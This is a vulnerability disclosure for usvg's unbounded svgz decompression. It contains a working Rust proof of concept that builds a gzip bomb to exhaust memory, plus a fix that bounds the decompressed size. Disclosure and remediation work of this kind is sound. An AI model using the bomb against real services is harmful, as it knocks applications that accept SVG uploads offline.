Description

Tree::from_data in crates/usvg/src/parser/mod.rs:102 detects the gzip magic bytes at the start of the input and decompresses the data before parsing it:

// crates/usvg/src/parser/mod.rs:109
let data = decompress_svgz(data)?;
let text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?;
Self::from_str(text, opt)
// crates/usvg/src/parser/mod.rs:180
pub fn decompress_svgz(data: &[u8]) -> Result<Vec<u8>, Error> {
    use std::io::Read;

    let mut decoder = flate2::read::GzDecoder::new(data);
    let mut decoded = Vec::with_capacity(data.len() * 2);
    decoder
        .read_to_end(&mut decoded)
        .map_err(|_| Error::MalformedGZip)?;
    Ok(decoded)
}

read_to_end grows decoded with no cap on the output size, and the whole buffer is materialized before from_str reads the first byte. The attacker fully controls the expansion ratio, since gzip reaches roughly 1000:1, so the size of the input places no bound on the size of the allocation. A payload of a few hundred kilobytes can request several gigabytes of memory, and the parse error only fires after the entire bomb is already in memory.

Proof of concept

Create a new project with flate2 and usvg:

[dependencies]
flate2 = "1"
usvg = "0.48"

Build a gzip bomb of the desired size and hand it to Tree::from_data:

use flate2::write::GzEncoder;
use flate2::Compression;
use std::io::Write;

fn main() {
    let mib: usize = std::env::args()
        .nth(1)
        .and_then(|s| s.parse().ok())
        .unwrap_or(256);
    let mut enc = GzEncoder::new(Vec::new(), Compression::best());
    let chunk = [0u8; 65536];
    for _ in 0..(mib << 20) / 65536 {
        enc.write_all(&chunk).unwrap();
    }
    let bomb = enc.finish().unwrap();
    println!("svgz input {} bytes, expands to {mib} MiB", bomb.len());
    match usvg::Tree::from_data(&bomb, &usvg::Options::default()) {
        Ok(_) => println!("parsed"),
        Err(e) => println!("parse error after full decompression: {e:?}"),
    }
}

Run with cargo run --release 4096. Observed output:

svgz input 4171638 bytes, expands to 4096 MiB
parse error after full decompression: ParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))

Peak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The decompression happens before any validation, so the bytes do not even need to be a valid SVG.

Impact

Decompression bomb causing memory exhaustion and an OOM kill, denying service to any application that passes attacker-controlled SVG bytes to usvg::Tree::from_data. The svgz feature is enabled by default, and SVG upload or conversion endpoints that use usvg are typically reachable before authentication.

Solution

Bound the decompressed output inside decompress_svgz instead of trusting the compressed input. Read through io::Take with a limit one byte above the cap, so a stream that reaches the limit can be rejected instead of silently truncated:

const MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;

let mut decoder = flate2::read::GzDecoder::new(data);
let mut decoded = Vec::with_capacity(data.len() * 2);
decoder
    .take(MAX_SVGZ_SIZE + 1)
    .read_to_end(&mut decoded)
    .map_err(|_| Error::MalformedGZip)?;
if decoded.len() as u64 > MAX_SVGZ_SIZE {
    return Err(Error::MalformedGZip);
}

Comparable libraries bound the decompressed or parsed output inside the library itself:

  • Node.js zlib caps one-shot decompression output via the maxOutputLength option (added in v12.19.0 and v14.5.0).
  • Python Pillow caps decoded pixels at ImageFile.MAX_IMAGE_PIXELS, default 89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises DecompressionBombWarning / DecompressionBombError beyond it.
  • libpng applies default dimension limits of 1,000,000 x 1,000,000 plus png_set_chunk_malloc_max for bounded allocation.
  • librsvg documents no built-in memory or CPU limits and pushes bounding to the caller, but still caps parsed XML elements at 1 million. usvg applies neither an output-size cap nor an element cap.

Until a fix lands, applications can disable the svgz feature and decompress uploaded files themselves with a bounded reader, calling Tree::from_str on the verified plain SVG text.

Timeline

  • 2026-08-25: Vulnerability reported privately to the maintainer.
  • 2026-09-18: No response received; public disclosure. usvg 0.48.1 and the current main branch are still affected.

References